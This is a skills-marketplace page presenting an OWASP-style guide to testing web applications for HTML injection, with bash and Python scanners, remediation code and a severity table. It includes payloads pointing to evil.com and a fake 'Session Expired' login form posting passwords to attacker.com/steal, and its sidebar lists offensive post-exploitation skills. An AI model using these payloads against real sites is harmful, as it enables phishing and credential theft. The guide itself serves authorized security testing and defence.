القائمة
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-03يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | wstg-clnt-03 |
| description | Testing for HTML Injection |
| category | client-side |
| owasp_id | WSTG-CLNT-03 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-03
Testing for HTML Injection
HTML injection allows attackers to inject arbitrary HTML content into web pages. While not as severe as XSS (no script execution), it can be used for phishing, defacement, or to manipulate page content to trick users.
#!/bin/bash
TARGET="https://target.com"
payloads=(
"<h1>Injected</h1>"
"<a href='https://evil.com'>Click here</a>"
"<form action='https://evil.com'><input name='password'><input type='submit'></form>"
"<img src='https://evil.com/logo.png'>"
"<marquee>HTML Injection</marquee>"
)
for payload in "${payloads[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
response=$(curl -s "$TARGET/search?q=$encoded")
if echo "$response" | grep -q "<h1>Injected\|<a href='\|<form action="; then
echo "[VULN] HTML injection: $payload"
fi
done
<!-- Test injecting a fake login form -->
<form action="https://attacker.com/steal" method="POST">
<h2>Session Expired - Please Re-login</h2>
<input name="username" placeholder="Username" />
<input name="password" type="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
#!/usr/bin/env python3
import requests
import html
class HTMLInjectionTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
def test_injection(self, endpoint, param):
"""Test for HTML injection"""
print(f"[*] Testing HTML injection: {endpoint}?{param}")
payloads = [
("<h1>TEST</h1>", "<h1>TEST</h1>"),
("<b>bold</b>", "<b>bold</b>"),
("<a href=x>link</a>", "<a href"),
("<img src=x>", "<img src"),
("<table><tr><td>cell</td></tr></table>", "<table>"),
]
for payload, check in payloads:
url = f"{self.base_url}{endpoint}"
response = requests.get(url, params={param: payload})
# Check if HTML is rendered (not encoded)
if check in response.text and html.escape(check) not in response.text:
print(f"[VULN] HTML injection with: {payload[:30]}")
self.findings.append({
"endpoint": endpoint,
"parameter": param,
"payload": payload,
"severity": "Medium"
})
break
# Usage
tester = HTMLInjectionTester("https://target.com")
tester.test_injection("/search", "q")
tester.test_injection("/profile", "bio")
# Always HTML encode user output
import html
user_input = "<h1>Malicious</h1>"
safe_output = html.escape(user_input)
# Result: <h1>Malicious</h1>
// JavaScript - use textContent instead of innerHTML
element.textContent = userInput // Safe
// NOT: element.innerHTML = userInput; // Unsafe
| Finding | CVSS | Severity |
|---|---|---|
| HTML injection (phishing) | 4.3 | Medium |
| HTML injection (defacement) | 3.5 | Low |
| CWE ID | Title |
|---|---|
| CWE-80 | Improper Neutralization of Script-Related HTML Tags |
[ ] Input fields tested
[ ] URL parameters tested
[ ] Error messages checked
[ ] HTML encoding verified
[ ] Findings documented